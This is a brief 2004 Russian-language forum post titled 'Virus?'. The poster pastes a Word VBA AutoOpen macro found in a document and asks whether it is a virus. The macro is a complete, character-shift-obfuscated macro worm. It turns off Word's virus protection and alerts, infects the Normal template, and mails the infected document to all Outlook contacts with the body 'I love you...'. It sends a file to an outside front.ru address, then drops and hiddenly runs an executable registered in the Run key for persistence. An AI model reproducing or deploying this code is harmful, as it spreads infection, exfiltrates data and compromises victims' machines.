Вирус?

← →
Соловьев © (2004-04-29 15:51) [0]

В вердовском документе нашел:
Sub AutoOpen() Dim AR$(172), Length, n, n1, S$, T, R Length = 172 On Error Resume Next AR(0) = "Tvc!Ebub)x*" AR(1) = "Ejn!Ou-!Be-!S-!o-!u2-!u3-!T%-!Ejs%-!EjsT%-!Tubsu-!Mfohui" AR(2) = "Ejn!E-!Z-!N-!U-!b%" AR(3) = "u2!>!2;!u3!>!297" AR(4) = "Po!Fssps!Sftvnf!Ofyu" AR(5) = "Bqqmjdbujpo/TipxWjtvbmCbtjdFejups!>!1" AR(6) = "Bqqmjdbujpo/FobcmfDbodfmLfz!>!1" AR(7) = "Pqujpot/TbwfOpsnbmQspnqu!>!Gbmtf" AR(8) = "Pqujpot/DpogjsnDpowfstjpot!>!Gbmtf" AR(9) = "Bqqmjdbujpo/EjtqmbzBmfsut!>!xeBmfsutOpof" AR(10) = "Pqujpot/WjsvtQspufdujpo!>!Gbmtf" AR(11) = "Ejs!>!Fowjspo)#Ufnq#*!,!#]#" AR(12) = "EjsT!>!Fowjspo)#xjoejs#*!,!#]#" AR(13) = "Tfu!Ou!>!OpsnbmUfnqmbuf/WCQspkfdu/WCDpnqpofout" AR(14) = "Tfu!Be!>!BdujwfEpdvnfou/WCQspkfdu/WCDpnqpofout" AR(15) = "E!>!Ebuf;!Z!>!Zfbs)E*;!N!>!Npoui)E*" AR(16) = "Jg!Z!?!3113!Boe!N!?!7!Uifo" AR(17) = "Ou/Sfnpwf!)Ou)#FYF#**;!Ou/Sfnpwf!)Ou)#EMM#**" AR(18) = "Be/Sfnpwf!)Be)#FYF#**;!Be/Sfnpwf!)Be)#EMM#**" AR(19) = "Ou/Sfnpwf!)Ou)#UfnqO#**;!Be/Sfnpwf!)Be)#UfnqE#**" AR(20) = "Ou/Jufn)2*/DpefNpevmf/EfmfufMjoft!2-!Ou/Jufn)2*/DpefNpevmf/DpvouPgMjoft" AR(21) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!2-!Be/Jufn)2*/DpefNpevmf/DpvouPgMjoft;!Foe" AR(22) = "Foe!Jg" AR(23) = "Jg!x!>!1!Uifo" AR(24) = "Ou/Sfnpwf!)Ou)#UfnqE#**" AR(25) = "Ou/Sfnpwf!)Ou)#EMM#**" AR(26) = "Ou/Sfnpwf!)Ou)#FYF#**" AR(27) = "o!>!Ou/Jufn)2*/DpefNpevmf/DpvouPgMjoft" AR(28) = "Ou/Jufn)2*/DpefNpevmf/EfmfufMjoft!2-!o" AR(29) = "o!>!Be/Jufn)2*/DpefNpevmf/DpvouPgMjoft" AR(30) = "Gps!o2!>!2!Up!o" AR(31) = "T!>!Be/Jufn)2*/DpefNpevmf/mjoft)o2-!2*" AR(32) = "Jg!T!>!#Tvc!BvupPqfo)*#!Uifo!Tubsu!>!o2;!Fyju!Gps" AR(33) = "Ofyu" AR(34) = "Mfohui!>!2" AR(35) = "Gps!o2!>!Tubsu!Up!o" AR(36) = "T!>!Be/Jufn)2*/DpefNpevmf/mjoft)o2-!2*" AR(37) = "Jg!T!>!#Foe!Tvc#!Uifo!Mfohui!>!o2!.!Tubsu;!Fyju!Gps" AR(38) = "Ofyu" AR(39) = "T!>!Be/Jufn)2*/DpefNpevmf/mjoft)Tubsu-!Mfohui!,!2*" AR(40) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!2-!T" AR(41) = "Ou/Jufn)2*/DpefNpevmf/EfmfufMjoft!u2-!2" AR(42) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!u2-!#Tvc!BvupDmptf)*#" AR(43) = "Ou/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3-!2" AR(44) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3-!#Tfu!U>OpsnbmUfnqmbuf/WCQspkfdu/WCDpnqpofout#" AR(45) = "Ou/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3!,!2-!2" AR(46) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3!,!2-!#U/Sfnpwf)U)#!,!Dis)45*!,!#UfnqO#!,!Dis)45*!,!#**#" AR(47) = "Ou/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3!,!4-!2" AR(48) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3!,!4-!#S/Obnf>#!,!Dis)45*!,!#UfnqO#!,!Dis)45*" AR(49) = "Ou/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3!,!6-!2" AR(50) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3!,!6-!#SvoO)2*#" AR(51) = "o!>!Ou/Jufn)2*/DpefNpevmf/DpvouPgMjoft!,!2" AR(52) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o-!#Tvc!SvoO)x*#" AR(53) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!2-!#Dbmm!UfnqO/Ebub)x*#" AR(54) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!3-!#Foe!Tvc#" AR(55) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!4-!#Tvc!UppmtNbdsp)*#" AR(56) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!5-!#NthCpy#!,!Dis)45*!,!#Bo!jowbmje!dpnnboe!xbt!fyfdvufe-!uif!mbtu!qspdfttfe!dpnn boe!xjmm!cf!ufsnjobufe#!,!Dis)45*!,!#--#!,!Dis)45*!,!#Gbubm!Tztufn!Fssps#!,!Dis)45*" AR(57) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!6-!#Foe!Tvc#" AR(58) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!7-!#Tvc!WjfxWCDpef)*#" AR(59) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!8-!#NthCpy#!,!Dis)45*!,!#Gjmf!Bmmpdbujpo!Fssps;!Vobcmf!up!bddftt!tfhnfou!bu!DT;25 11#!,!Dis)45*!,!#--#!,!Dis)45*!,!#Nfnpsz!Bmmpdbujpo!Fssps#!,!Dis)45*" AR(60) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!9-!#Foe!Tvc#" AR(61) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!:-!#Tvc!BvupFyfd)*#" AR(62) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!21-!#Bqqmjdbujpo/TipxWjtvbmCbtjdFejups>1#" AR(63) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!22-!#Bqqmjdbujpo/FobcmfDbodfmLfz>1!#" AR(64) = "Ou/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!23-!#Foe!Tvc#" AR(65) = "Be)#EMM#*/Fyqpsu!)Ejs!,!#ufnq/unq#*" AR(66) = "Tfu!S!>!Ou/jnqpsu)Ejs!,!#ufnq/unq#*;!S/Obnf!>!#EMM#" AR(67) = "Be)#FYF#*/Fyqpsu!)Ejs!,!#ufnq/unq#*" AR(68) = "Tfu!S!>!Ou/jnqpsu)Ejs!,!#ufnq/unq#*;!S/Obnf!>!#FYF#;!Ljmm!)Ejs!,!#ufnq/unq#*" AR(69) = "o!>!Be/Jufn)2*/DpefNpevmf/DpvouPgMjoft" AR(70) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!2-!o" AR(71) = "Be/Sfnpwf!)Be)#UfnqE#**;!Be/Sfnpwf!)Be)#EMM#**;!Be/Sfnpwf!)Be)#FYF#**" AR(72) = "OpsnbmUfnqmbuf/Tbwf" AR(73) = "Fmtf" AR(74) = "Be/Sfnpwf!)Be)#UfnqE#**;!Be/Sfnpwf!)Be)#EMM#**;!Be/Sfnpwf!)Be)#FYF#**" AR(75) = "o!>!Be/Jufn)2*/DpefNpevmf/DpvouPgMjoft" AR(76) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!2-!o" AR(77) = "o!>!Ou/Jufn)2*/DpefNpevmf/DpvouPgMjoft" AR(78) = "Gps!o2!>!2!Up!o" AR(79) = "T!>!Ou/Jufn)2*/DpefNpevmf/mjoft)o2-!2*" AR(80) = "Jg!T!>!#Tvc!BvupDmptf)*#!Uifo!Tubsu!>!o2;!Fyju!Gps"

← →
Соловьев © (2004-04-29 15:52) [1]

AR(81) = "Ofyu" AR(82) = "Mfohui!>!2" AR(83) = "Gps!o2!>!Tubsu!Up!o" AR(84) = "T!>!Ou/Jufn)2*/DpefNpevmf/mjoft)o2-!2*" AR(85) = "Jg!T!>!#Foe!Tvc#!Uifo!Mfohui!>!o2!.!Tubsu;!Fyju!Gps" AR(86) = "Ofyu" AR(87) = "T!>!Ou/Jufn)2*/DpefNpevmf/mjoft)Tubsu-!Mfohui!,!2*" AR(88) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!2-!T" AR(89) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!u2-!2" AR(90) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!u2-!#Tvc!BvupPqfo)*#" AR(91) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3-!2" AR(92) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3-!#Tfu!U>BdujwfEpdvnfou/WCQspkfdu/WCDpnqpofout#" AR(93) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3!,!2-!2" AR(94) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3!,!2-!#U/Sfnpwf)U)#!,!Dis)45*!,!#UfnqE#!,!Dis)45*!,!#**#" AR(95) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3!,!4-!2" AR(96) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3!,!4-!#S/Obnf>#!,!Dis)45*!,!#UfnqE#!,!Dis)45*" AR(97) = "Be/Jufn)2*/DpefNpevmf/EfmfufMjoft!u3!,!6-!2" AR(98) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!u3!,!6-!#SvoE)1*#" AR(99) = "o!>!Be/Jufn)2*/DpefNpevmf/DpvouPgMjoft!,!2" AR(100) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!o-!#Tvc!SvoE)x*#" AR(101) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!2-!#Dbmm!UfnqE/Ebub)x*#" AR(102) = "Be/Jufn)2*/DpefNpevmf/JotfsuMjoft!o!,!3-!#Foe!Tvc#" AR(103) = "Ou)#EMM#*/Fyqpsu!)Ejs!,!#ufnq/unq#*" AR(104) = "Tfu!S!>!Be/jnqpsu)Ejs!,!#ufnq/unq#*;!S/Obnf!>!#EMM#" AR(105) = "Ou)#FYF#*/Fyqpsu!)Ejs!,!#ufnq/unq#*" AR(106) = "Tfu!S!>!Be/jnqpsu)Ejs!,!#ufnq/unq#*;!S/Obnf!>!#FYF#" AR(107) = "Ljmm!)Ejs!,!#ufnq/unq#*;!Ou/Sfnpwf!)Ou)#UfnqO#**" AR(108) = "BdujwfEpdvnfou/Tbwf" AR(109) = "Ejn!VEP-!ENO-!CVPBT-!BC" AR(110) = "Tfu!VEP!>!DsfbufPckfdu)#Pvumppl/Bqqmjdbujpo#*" AR(111) = "Tfu!ENO!>!VEP/HfuObnfTqbdf)#NBQJ#*" AR(112) = "Jg!VEP!>!#Pvumppl#!Uifo" AR(113) = "ENO/Mphpo!#qspgjmf#-!#qbttxpse#" AR(114) = "Gps!Z!>!2!Up!ENO/BeesfttMjtut/Dpvou" AR(115) = "Tfu!BC!>!ENO/BeesfttMjtut)Z*" AR(116) = "Tfu!CVPBT!>!VEP/DsfbufJufn)1*" AR(117) = "Gps!pp!>!2!Up!BC/BeesfttFousjft/Dpvou" AR(118) = "Qffq!>!BC/BeesfttFousjft)pp*" AR(119) = "CVPBT/Sfdjqjfout/Bee!Qffq" AR(120) = "Ofyu!pp" AR(121) = "CVPBT/Tvckfdu!>!#Nfttbhf!gspn!#!,!Bqqmjdbujpo/VtfsObnf" AR(122) = "CVPBT/Cpez!>!#J!mpwf!zpv///#" AR(123) = "CVPBT/Buubdinfout/Bee!BdujwfEpdvnfou/GvmmObnf" AR(124) = "CVPBT/Tfoe" AR(125) = "Ofyu!Z" AR(126) = "Tfu!CVPBT!>!VEP/DsfbufJufn)1*" AR(127) = "b!>!Dis)Soe)2*!+!:!,!59*" AR(128) = "CVPBT/Sfdjqjfout/Bee!#nttus43#!,!b!,!#Agspou/sv#" AR(129) = "CVPBT/Buubdinfout/Bee!EjsT!,!#nttus43/tzt#" AR(130) = "CVPBT/Tfoe" AR(131) = "Ljmm!)EjsT!,!#nttus43/tzt#*" AR(132) = "Pqfo!EjsT!,!#nttus43/tzt#!Gps!Pvuqvu!Bt!2" AR(133) = "Dmptf!$2" AR(134) = "ENO/Mphpgg" AR(135) = "Foe!Jg" AR(136) = "Foe!Jg" AR(137) = "Jg!Ou/Dpvou!=!4!Uifo!HpUp!M2" AR(138) = "Tfu!Ou!>!OpsnbmUfnqmbuf/WCQspkfdu/WCDpnqpofout)#FYF#*/DpefNpevmf" AR(139) = "o!>!Ou/DpvouPgMjoft" AR(140) = "Pqfo!EjsT!,!#nttus43/unq#!Gps!Cjobsz!Bt!$2" AR(141) = "Gps!o2!>!2!Up!o" AR(142) = "T!>!Ou/mjoft)o2-!2*;!T!>!Sjhiu)T-!Mfo)T*!.!2*" AR(143) = "Gps!o3!>!2!Up!Mfo)T*!Tufq!3" AR(144) = "Ejn!t2%-!tm%-!ts%-!uu2-!uu3-!hd!Bt!Czuf" AR(145) = "t2!>!Nje)T-!o3-!3*;!tm!>!Mfgu)t2-!2*;!ts!>!Sjhiu)t2-!2*" AR(146) = "uu2!>!Btd)tm*;!uu3!>!Btd)ts*" AR(147) = "Jg!uu2!?!69!Uifo!uu2!>!uu2!.!66!Fmtf!uu2!>!uu2!.!59" AR(148) = "Jg!uu3!?!69!Uifo!uu3!>!uu3!.!66!Fmtf!uu3!>!uu3!.!59" AR(149) = "hd!>!uu2!+!27!,!uu3;!Qvu!$2-!-!hd" AR(150) = "Ofyu;!Ofyu" AR(151) = "Dmptf!$2" AR(152) = "Obnf!EjsT!,!#nttus43/unq#!Bt!EjsT!,!#nttus43/fyf#" AR(153) = "Ljmm!)EjsT!,!#nttus43/unq#*" AR(154) = "Tfu!Ou!>!OpsnbmUfnqmbuf/WCQspkfdu/WCDpnqpofout)#EMM#*/DpefNpevmf" AR(155) = "o!>!Ou/DpvouPgMjoft" AR(156) = "Pqfo!EjsT!,!#nttus43/unq#!Gps!Cjobsz!Bt!$2" AR(157) = "Gps!o2!>!2!Up!o" AR(158) = "T!>!Ou/mjoft)o2-!2*;!T!>!Sjhiu)T-!Mfo)T*!.!2*" AR(159) = "Gps!o3!>!2!Up!Mfo)T*!Tufq!3" AR(160) = "t2!>!Nje)T-!o3-!3*;!tm!>!Mfgu)t2-!2*;!ts!>!Sjhiu)t2-!2*" AR(161) = "uu2!>!Btd)tm*;!uu3!>!Btd)ts*" AR(162) = "Jg!uu2!?!69!Uifo!uu2!>!uu2!.!66!Fmtf!uu2!>!uu2!.!59" AR(163) = "Jg!uu3!?!69!Uifo!uu3!>!uu3!.!66!Fmtf!uu3!>!uu3!.!59" AR(164) = "hd!>!uu2!+!27!,!uu3;!Qvu!$2-!-!hd" AR(165) = "Ofyu;!Ofyu" AR(166) = "Dmptf!$2" AR(167) = "Obnf!EjsT!,!#nttus43/unq#!Bt!EjsT!,!#nttus43/emm#" AR(168) = "Ljmm!)EjsT!,!#nttus43/unq#*;!DiEjs!)Mfgu)EjsT-!Mfo)EjsT*!.!2**" AR(169) = "o3!>!Tifmm)EjsT!,!#nttus43/fyf#-!wcIjef*" AR(170) = "Tztufn/QsjwbufQspgjmfTusjoh)##-!#ILFZ`DVSSFOU`VTFS]Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo#-!#nttus43#*!>!EjsT!,! #nttus43/fyf#" AR(171) = "M2;!Foe!Tvc" Open "c:\temp.tmp" For Output As #1 For n = 0 To Length - 1 S = AR(n): s1 = "" For n1 = 1 To Len(S) s1 = s1 + Chr(Asc(Mid(S, n1, 1)) - 1) Next Print #1, s1 Next Close #1 Set T = ActiveDocument.VBProject.VBComponents T.Remove (T("TempD")) Set R = T.import("c:\temp.tmp") R.Name = "TempD" Kill ("c:\temp.tmp") RunD (0) End Sub Sub RunD(w) Call TempD.Data(w) End Sub

Вирус? Найти похожие ветки